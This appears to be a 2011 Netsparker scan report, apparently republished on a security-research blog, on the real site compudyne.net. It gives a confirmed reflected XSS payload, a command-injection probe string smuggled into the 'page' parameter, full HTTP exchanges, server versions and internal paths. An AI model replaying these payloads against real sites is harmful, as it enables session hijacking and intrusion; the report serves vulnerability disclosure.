compudyne.net, DORK, XSS, Cross Site SCripting SUMMARY
Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.
XSS.CX Home |
Hoyt LLC Research Blog
Loading
Netsparker - Scan Report Summary
TARGET URL
http://compudyne.net/products-services/index....
SCAN DATE
4/21/2011 3:22:55 PM
REPORT DATE
4/21/2011 3:26:37 PM
SCAN DURATION
00:00:14
Total Requests
140
Average Speed
9.48
req/sec.
5
identified
1
confirmed
0
critical
1
informational
SCAN SETTINGS
Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
VULNERABILITY SUMMARY
Vulnerability Summary
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /products-services/index.php
Parameters
Parameter
Type
Value
page
GET
'"--></style></script><script>alert(0x000014)</script>
Request
GET /products-services/index.php?page='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000014)%3C/script%3E HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: compudyne.net Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 21 Apr 2011 20:23:13 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.2 Vary: Accept-Encoding Content-Encoding: Content-Length: 1721 Content-Type: text/html X-Pad: avoid browser bug <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><title>compudyne | Duluth, MN</title><meta name="keywords" content="" /><meta name="description" content="Compudyne, Inc." /><meta name="robots" content="all" /><meta name="MSSmartTagsPreventParsing" content="true" /><meta name="Copyright" content="Copyright (c) 2008 Compudyne, Inc." /><meta http-equiv="Content-Language" content="en-us" /><meta http-equiv="imagetoolbar" content="false" /><link rel="Shortcut Icon" href="http://compudyne.net.hosting.sbbmn.com/favicon.ico" type="image/x-icon" /><style type="text/css" title="currentStyle" media="screen"> @import "../main_new.css";</style><script language="JavaScript1.2" src="mouseover.js" type="text/javascript"></script><title>\'\"--></style></script><script>netsparker(0x000014)</script> Compudyne :: Computer Services, Network Analysis, IT Planning, Network Design, Implementation & Support</title></head><body id="compudyne"><div id="ps_container"> <div id="tagLine"> <p class="p1"><b>Products & Services</b></p> </div><div id="menu"> <a href="index.php" class="amenu"><b>introduction</a></b><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=EDGE"><b>the EDGE managed services</b></a><br> <a href="index.php?page=EDGE-Pro" class="smmenu">EDGE Pro</a><br> <a href="index.php?page=EDGE-Lite" class="smmenu">EDGE Lite</a><br> <a href="index.php?page=EDGE-Ware" class="smmenu">EDGE Ware</a><br> <a href="index.php?page=EDGE-Anti-Spam" class="smmenu">EDGE Anti-Spam</a><br> <a href="index.php?page=EDGE-Backup" class="smmenu">EDGE Backup</a><br> <a href="index.php?page=EDGE-24" class="smmenu">EDGE 24</a><br> <a href="index.php?page=More-EDGE" class="smmenu">More about the EDGE</a><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=Consulting"><b>consulting</b></a><br> <a href="index.php?page=Repair"><b>repair + maintenance</a></b><br> <a href="index.php?page=Hardware-Software"><b>hardware + software sales</a></b><br> <a href="index.php?page=Application-Services"><b>application service provider</b></a> <a href="index.php?page=Internet-Services"><b>internet service provider</b></a><br> <a href="index.php?page=Training"><b>training</b></a><br></div><div class="contentscroll"><br /><b>Warning</b>: include(content/\'\"--></style></script><script>netsparker(0x000014)</script>.html) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /><br /><b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'content/\'\"--></style></script><script>netsparker(0x000014)</script>.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /></div> <div id="addressTag"> Duluth (218) 729-0920 | Hibbing (218) 263-3624 | Marquette (906) 360-9081 </div> <div id="clientLogin"> <a href="http://magnum.compudyne.net/v4_6_release/services/system_io/Portal/Default.aspx?undefined" border="0"><b>CLIENT LOGIN</b></a> </div><div id="printButton"><a href="print.php?page=\'\"--></style></script><script>netsparker(0x000014)</script>" target="_new"> <img src="../images/print_button.gif" width="32" height="27" alt="Print This Page" border="0"></a></div><div id="navButtons"><a href="../index.html" onmouseover="ImgChange('hom1','hom2')" onmouseout="ImgChange('hom1', 'hom1')"><img src="../images/home.gif" alt="Home" name="hom1" border="0"></a><a href="index.php" onmouseover="ImgChange('pas1','pas2')" onmouseout="ImgChange('pas1', 'pas1')"><img src="../images/overp_s.gif" alt="Products & Services" name="pas1" border="0"></a><a href="../about" onmouseover="ImgChange('abo1','abo2')" onmouseout="ImgChange('abo1', 'abo1')"><img src="../images/over_about.gif" alt="About Us" name="abo1" border="0"></a><a href="../contact" onmouseover="ImgChange('con1','con2')" onmouseout="ImgChange('con1', 'con1')"><img src="../images/over_contact.gif" alt="Contact" name="con1" border="0"></a></div></div></body></html>
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /products-services/index.php
2.2.9 (Ubuntu)
Request
GET /products-services/index.php?page=Consulting HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: compudyne.net Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 21 Apr 2011 20:23:01 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.2 Vary: Accept-Encoding Content-Encoding: Content-Length: 1768 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><title>compudyne | Duluth, MN</title><meta name="keywords" content="" /><meta name="description" content="Compudyne, Inc." /><meta name="robots" content="all" /><meta name="MSSmartTagsPreventParsing" content="true" /><meta name="Copyright" content="Copyright (c) 2008 Compudyne, Inc." /><meta http-equiv="Content-Language" content="en-us" /><meta http-equiv="imagetoolbar" content="false" /><link rel="Shortcut Icon" href="http://compudyne.net.hosting.sbbmn.com/favicon.ico" type="image/x-icon" /><style type="text/css" title="currentStyle" media="screen"> @import "../main_new.css";</style><script language="JavaScript1.2" src="mouseover.js" type="text/javascript"></script><title>Consulting Compudyne :: Computer Services, Network Analysis, IT Planning, Network Design, Implementation & Support</title></head><body id="compudyne"><div id="ps_container"> <div id="tagLine"> <p class="p1"><b>Products & Services</b></p> </div><div id="menu"> <a href="index.php" class="amenu"><b>introduction</a></b><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=EDGE"><b>the EDGE managed services</b></a><br> <a href="index.php?page=EDGE-Pro" class="smmenu">EDGE Pro</a><br> <a href="index.php?page=EDGE-Lite" class="smmenu">EDGE Lite</a><br> <a href="index.php?page=EDGE-Ware" class="smmenu">EDGE Ware</a><br> <a href="index.php?page=EDGE-Anti-Spam" class="smmenu">EDGE Anti-Spam</a><br> <a href="index.php?page=EDGE-Backup" class="smmenu">EDGE Backup</a><br> <a href="index.php?page=EDGE-24" class="smmenu">EDGE 24</a><br> <a href="index.php?page=More-EDGE" class="smmenu">More about the EDGE</a><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=Consulting"><b>consulting</b></a><br> <a href="index.php?page=Repair"><b>repair + maintenance</a></b><br> <a href="index.php?page=Hardware-Software"><b>hardware + software sales</a></b><br> <a href="index.php?page=Application-Services"><b>application service provider</b></a> <a href="index.php?page=Internet-Services"><b>internet service provider</b></a><br> <a href="index.php?page=Training"><b>training</b></a><br></div><div class="contentscroll"><h3>Consulting Services</h3><p><p>The professional consulting team at Compudyne provides a variety of services for companies with existing networks or companies considering their first network. These include:<ul><li>Network Analysis<li>IT Planning<li>Network Design<li>Network Implementation<li>Sophisticated Firewall Analysis<li>Packet Prioritization<li>Security Analysis<li>Penetration Testing<li>Network Support. </ul><p>Our team works with your company to establish a secure, efficient and cost effective network. All recommendations and designs are a result of a thorough assessment of your environment and your short and long-term goals.</p></div> <div id="addressTag"> Duluth (218) 729-0920 | Hibbing (218) 263-3624 | Marquette (906) 360-9081 </div> <div id="clientLogin"> <a href="http://magnum.compudyne.net/v4_6_release/services/system_io/Portal/Default.aspx?undefined" border="0"><b>CLIENT LOGIN</b></a> </div><div id="printButton"><a href="print.php?page=Consulting" target="_new"> <img src="../images/print_button.gif" width="32" height="27" alt="Print This Page" border="0"></a></div><div id="navButtons"><a href="../index.html" onmouseover="ImgChange('hom1','hom2')" onmouseout="ImgChange('hom1', 'hom1')"><img src="../images/home.gif" alt="Home" name="hom1" border="0"></a><a href="index.php" onmouseover="ImgChange('pas1','pas2')" onmouseout="ImgChange('pas1', 'pas1')"><img src="../images/overp_s.gif" alt="Products & Services" name="pas1" border="0"></a><a href="../about" onmouseover="ImgChange('abo1','abo2')" onmouseout="ImgChange('abo1', 'abo1')"><img src="../images/over_about.gif" alt="About Us" name="abo1" border="0"></a><a href="../contact" onmouseover="ImgChange('con1','con2')" onmouseout="ImgChange('con1', 'con1')"><img src="../images/over_contact.gif" alt="Contact" name="con1" border="0"></a></div></div></body></html>
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /products-services/index.php
PHP/5.2.6
Request
GET /products-services/index.php?page=Consulting HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: compudyne.net Accept-Encoding: gzip, deflate Connection: Keep-Alive
Response
HTTP/1.1 200 OK Date: Thu, 21 Apr 2011 20:23:01 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.2 Vary: Accept-Encoding Content-Encoding: Content-Length: 1768 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><title>compudyne | Duluth, MN</title><meta name="keywords" content="" /><meta name="description" content="Compudyne, Inc." /><meta name="robots" content="all" /><meta name="MSSmartTagsPreventParsing" content="true" /><meta name="Copyright" content="Copyright (c) 2008 Compudyne, Inc." /><meta http-equiv="Content-Language" content="en-us" /><meta http-equiv="imagetoolbar" content="false" /><link rel="Shortcut Icon" href="http://compudyne.net.hosting.sbbmn.com/favicon.ico" type="image/x-icon" /><style type="text/css" title="currentStyle" media="screen"> @import "../main_new.css";</style><script language="JavaScript1.2" src="mouseover.js" type="text/javascript"></script><title>Consulting Compudyne :: Computer Services, Network Analysis, IT Planning, Network Design, Implementation & Support</title></head><body id="compudyne"><div id="ps_container"> <div id="tagLine"> <p class="p1"><b>Products & Services</b></p> </div><div id="menu"> <a href="index.php" class="amenu"><b>introduction</a></b><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=EDGE"><b>the EDGE managed services</b></a><br> <a href="index.php?page=EDGE-Pro" class="smmenu">EDGE Pro</a><br> <a href="index.php?page=EDGE-Lite" class="smmenu">EDGE Lite</a><br> <a href="index.php?page=EDGE-Ware" class="smmenu">EDGE Ware</a><br> <a href="index.php?page=EDGE-Anti-Spam" class="smmenu">EDGE Anti-Spam</a><br> <a href="index.php?page=EDGE-Backup" class="smmenu">EDGE Backup</a><br> <a href="index.php?page=EDGE-24" class="smmenu">EDGE 24</a><br> <a href="index.php?page=More-EDGE" class="smmenu">More about the EDGE</a><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=Consulting"><b>consulting</b></a><br> <a href="index.php?page=Repair"><b>repair + maintenance</a></b><br> <a href="index.php?page=Hardware-Software"><b>hardware + software sales</a></b><br> <a href="index.php?page=Application-Services"><b>application service provider</b></a> <a href="index.php?page=Internet-Services"><b>internet service provider</b></a><br> <a href="index.php?page=Training"><b>training</b></a><br></div><div class="contentscroll"><h3>Consulting Services</h3><p><p>The professional consulting team at Compudyne provides a variety of services for companies with existing networks or companies considering their first network. These include:<ul><li>Network Analysis<li>IT Planning<li>Network Design<li>Network Implementation<li>Sophisticated Firewall Analysis<li>Packet Prioritization<li>Security Analysis<li>Penetration Testing<li>Network Support. </ul><p>Our team works with your company to establish a secure, efficient and cost effective network. All recommendations and designs are a result of a thorough assessment of your environment and your short and long-term goals.</p></div> <div id="addressTag"> Duluth (218) 729-0920 | Hibbing (218) 263-3624 | Marquette (906) 360-9081 </div> <div id="clientLogin"> <a href="http://magnum.compudyne.net/v4_6_release/services/system_io/Portal/Default.aspx?undefined" border="0"><b>CLIENT LOGIN</b></a> </div><div id="printButton"><a href="print.php?page=Consulting" target="_new"> <img src="../images/print_button.gif" width="32" height="27" alt="Print This Page" border="0"></a></div><div id="navButtons"><a href="../index.html" onmouseover="ImgChange('hom1','hom2')" onmouseout="ImgChange('hom1', 'hom1')"><img src="../images/home.gif" alt="Home" name="hom1" border="0"></a><a href="index.php" onmouseover="ImgChange('pas1','pas2')" onmouseout="ImgChange('pas1', 'pas1')"><img src="../images/overp_s.gif" alt="Products & Services" name="pas1" border="0"></a><a href="../about" onmouseover="ImgChange('abo1','abo2')" onmouseout="ImgChange('abo1', 'abo1')"><img src="../images/over_about.gif" alt="About Us" name="abo1" border="0"></a><a href="../contact" onmouseover="ImgChange('con1','con2')" onmouseout="ImgChange('con1', 'con1')"><img src="../images/over_contact.gif" alt="Contact" name="con1" border="0"></a></div></div></body></html>
Programming Error Message
Programming Error Message
Netsparker identified a programming error message.
Impact
The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.
Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /products-services/index.php
Parameters
Parameter
Type
Value
page
GET
"& ping -n 26 127.0.0.1 &
<b>Warning</b>: include(content/\"& ping -n 26 127.0.0.1 &.html) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b> <b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'content/\"& ping -n 26 127.0.0.1 &.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b>
Request
GET /products-services/index.php?page=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: compudyne.net Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 21 Apr 2011 20:23:11 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.2 Vary: Accept-Encoding Content-Encoding: Content-Length: 1688 Content-Type: text/html X-Pad: avoid browser bug <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><title>compudyne | Duluth, MN</title><meta name="keywords" content="" /><meta name="description" content="Compudyne, Inc." /><meta name="robots" content="all" /><meta name="MSSmartTagsPreventParsing" content="true" /><meta name="Copyright" content="Copyright (c) 2008 Compudyne, Inc." /><meta http-equiv="Content-Language" content="en-us" /><meta http-equiv="imagetoolbar" content="false" /><link rel="Shortcut Icon" href="http://compudyne.net.hosting.sbbmn.com/favicon.ico" type="image/x-icon" /><style type="text/css" title="currentStyle" media="screen"> @import "../main_new.css";</style><script language="JavaScript1.2" src="mouseover.js" type="text/javascript"></script><title>\"& ping -n 26 127.0.0.1 & Compudyne :: Computer Services, Network Analysis, IT Planning, Network Design, Implementation & Support</title></head><body id="compudyne"><div id="ps_container"> <div id="tagLine"> <p class="p1"><b>Products & Services</b></p> </div><div id="menu"> <a href="index.php" class="amenu"><b>introduction</a></b><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=EDGE"><b>the EDGE managed services</b></a><br> <a href="index.php?page=EDGE-Pro" class="smmenu">EDGE Pro</a><br> <a href="index.php?page=EDGE-Lite" class="smmenu">EDGE Lite</a><br> <a href="index.php?page=EDGE-Ware" class="smmenu">EDGE Ware</a><br> <a href="index.php?page=EDGE-Anti-Spam" class="smmenu">EDGE Anti-Spam</a><br> <a href="index.php?page=EDGE-Backup" class="smmenu">EDGE Backup</a><br> <a href="index.php?page=EDGE-24" class="smmenu">EDGE 24</a><br> <a href="index.php?page=More-EDGE" class="smmenu">More about the EDGE</a><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=Consulting"><b>consulting</b></a><br> <a href="index.php?page=Repair"><b>repair + maintenance</a></b><br> <a href="index.php?page=Hardware-Software"><b>hardware + software sales</a></b><br> <a href="index.php?page=Application-Services"><b>application service provider</b></a> <a href="index.php?page=Internet-Services"><b>internet service provider</b></a><br> <a href="index.php?page=Training"><b>training</b></a><br></div><div class="contentscroll"><br /><b>Warning</b>: include(content/\"& ping -n 26 127.0.0.1 &.html) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /><br /><b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'content/\"& ping -n 26 127.0.0.1 &.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /></div> <div id="addressTag"> Duluth (218) 729-0920 | Hibbing (218) 263-3624 | Marquette (906) 360-9081 </div> <div id="clientLogin"> <a href="http://magnum.compudyne.net/v4_6_release/services/system_io/Portal/Default.aspx?undefined" border="0"><b>CLIENT LOGIN</b></a> </div><div id="printButton"><a href="print.php?page=\"& ping -n 26 127.0.0.1 &" target="_new"> <img src="../images/print_button.gif" width="32" height="27" alt="Print This Page" border="0"></a></div><div id="navButtons"><a href="../index.html" onmouseover="ImgChange('hom1','hom2')" onmouseout="ImgChange('hom1', 'hom1')"><img src="../images/home.gif" alt="Home" name="hom1" border="0"></a><a href="index.php" onmouseover="ImgChange('pas1','pas2')" onmouseout="ImgChange('pas1', 'pas1')"><img src="../images/overp_s.gif" alt="Products & Services" name="pas1" border="0"></a><a href="../about" onmouseover="ImgChange('abo1','abo2')" onmouseout="ImgChange('abo1', 'abo1')"><img src="../images/over_about.gif" alt="About Us" name="abo1" border="0"></a><a href="../contact" onmouseover="ImgChange('con1','con2')" onmouseout="ImgChange('con1', 'con1')"><img src="../images/over_contact.gif" alt="Contact" name="con1" border="0"></a></div></div></body></html>
[Possible] Internal Path Leakage (*nix)
[Possible] Internal Path Leakage (*nix)
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.
Error messages should be disabled.
Remove this kind of private data from the output.
External References
- /products-services/index.php
/var/www/hosting/compudyne.net/htdocs/products-services/index.php /usr/share/php:/usr/share/pear
Request
GET /products-services/index.php?page=%22%26%20ping%20-n%2026%20127.0.0.1%20%26 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: compudyne.net Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Thu, 21 Apr 2011 20:23:11 GMT Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.2 with Suhosin-Patch X-Powered-By: PHP/5.2.6-2ubuntu4.2 Vary: Accept-Encoding Content-Encoding: Content-Length: 1688 Content-Type: text/html X-Pad: avoid browser bug <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /><title>compudyne | Duluth, MN</title><meta name="keywords" content="" /><meta name="description" content="Compudyne, Inc." /><meta name="robots" content="all" /><meta name="MSSmartTagsPreventParsing" content="true" /><meta name="Copyright" content="Copyright (c) 2008 Compudyne, Inc." /><meta http-equiv="Content-Language" content="en-us" /><meta http-equiv="imagetoolbar" content="false" /><link rel="Shortcut Icon" href="http://compudyne.net.hosting.sbbmn.com/favicon.ico" type="image/x-icon" /><style type="text/css" title="currentStyle" media="screen"> @import "../main_new.css";</style><script language="JavaScript1.2" src="mouseover.js" type="text/javascript"></script><title>\"& ping -n 26 127.0.0.1 & Compudyne :: Computer Services, Network Analysis, IT Planning, Network Design, Implementation & Support</title></head><body id="compudyne"><div id="ps_container"> <div id="tagLine"> <p class="p1"><b>Products & Services</b></p> </div><div id="menu"> <a href="index.php" class="amenu"><b>introduction</a></b><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=EDGE"><b>the EDGE managed services</b></a><br> <a href="index.php?page=EDGE-Pro" class="smmenu">EDGE Pro</a><br> <a href="index.php?page=EDGE-Lite" class="smmenu">EDGE Lite</a><br> <a href="index.php?page=EDGE-Ware" class="smmenu">EDGE Ware</a><br> <a href="index.php?page=EDGE-Anti-Spam" class="smmenu">EDGE Anti-Spam</a><br> <a href="index.php?page=EDGE-Backup" class="smmenu">EDGE Backup</a><br> <a href="index.php?page=EDGE-24" class="smmenu">EDGE 24</a><br> <a href="index.php?page=More-EDGE" class="smmenu">More about the EDGE</a><br> <hr noshade size="1" color="#000000"> <a href="index.php?page=Consulting"><b>consulting</b></a><br> <a href="index.php?page=Repair"><b>repair + maintenance</a></b><br> <a href="index.php?page=Hardware-Software"><b>hardware + software sales</a></b><br> <a href="index.php?page=Application-Services"><b>application service provider</b></a> <a href="index.php?page=Internet-Services"><b>internet service provider</b></a><br> <a href="index.php?page=Training"><b>training</b></a><br></div><div class="contentscroll"><br /><b>Warning</b>: include(content/\"& ping -n 26 127.0.0.1 &.html) [<a href='function.include'>function.include</a>]: failed to open stream: No such file or directory in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /><br /><b>Warning</b>: include() [<a href='function.include'>function.include</a>]: Failed opening 'content/\"& ping -n 26 127.0.0.1 &.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in <b>/var/www/hosting/compudyne.net/htdocs/products-services/index.php</b> on line <b>102</b><br /></div> <div id="addressTag"> Duluth (218) 729-0920 | Hibbing (218) 263-3624 | Marquette (906) 360-9081 </div> <div id="clientLogin"> <a href="http://magnum.compudyne.net/v4_6_release/services/system_io/Portal/Default.aspx?undefined" border="0"><b>CLIENT LOGIN</b></a> </div><div id="printButton"><a href="print.php?page=\"& ping -n 26 127.0.0.1 &" target="_new"> <img src="../images/print_button.gif" width="32" height="27" alt="Print This Page" border="0"></a></div><div id="navButtons"><a href="../index.html" onmouseover="ImgChange('hom1','hom2')" onmouseout="ImgChange('hom1', 'hom1')"><img src="../images/home.gif" alt="Home" name="hom1" border="0"></a><a href="index.php" onmouseover="ImgChange('pas1','pas2')" onmouseout="ImgChange('pas1', 'pas1')"><img src="../images/overp_s.gif" alt="Products & Services" name="pas1" border="0"></a><a href="../about" onmouseover="ImgChange('abo1','abo2')" onmouseout="ImgChange('abo1', 'abo1')"><img src="../images/over_about.gif" alt="About Us" name="abo1" border="0"></a><a href="../contact" onmouseover="ImgChange('con1','con2')" onmouseout="ImgChange('con1', 'con1')"><img src="../images/over_contact.gif" alt="Contact" name="con1" border="0"></a></div></div></body></html>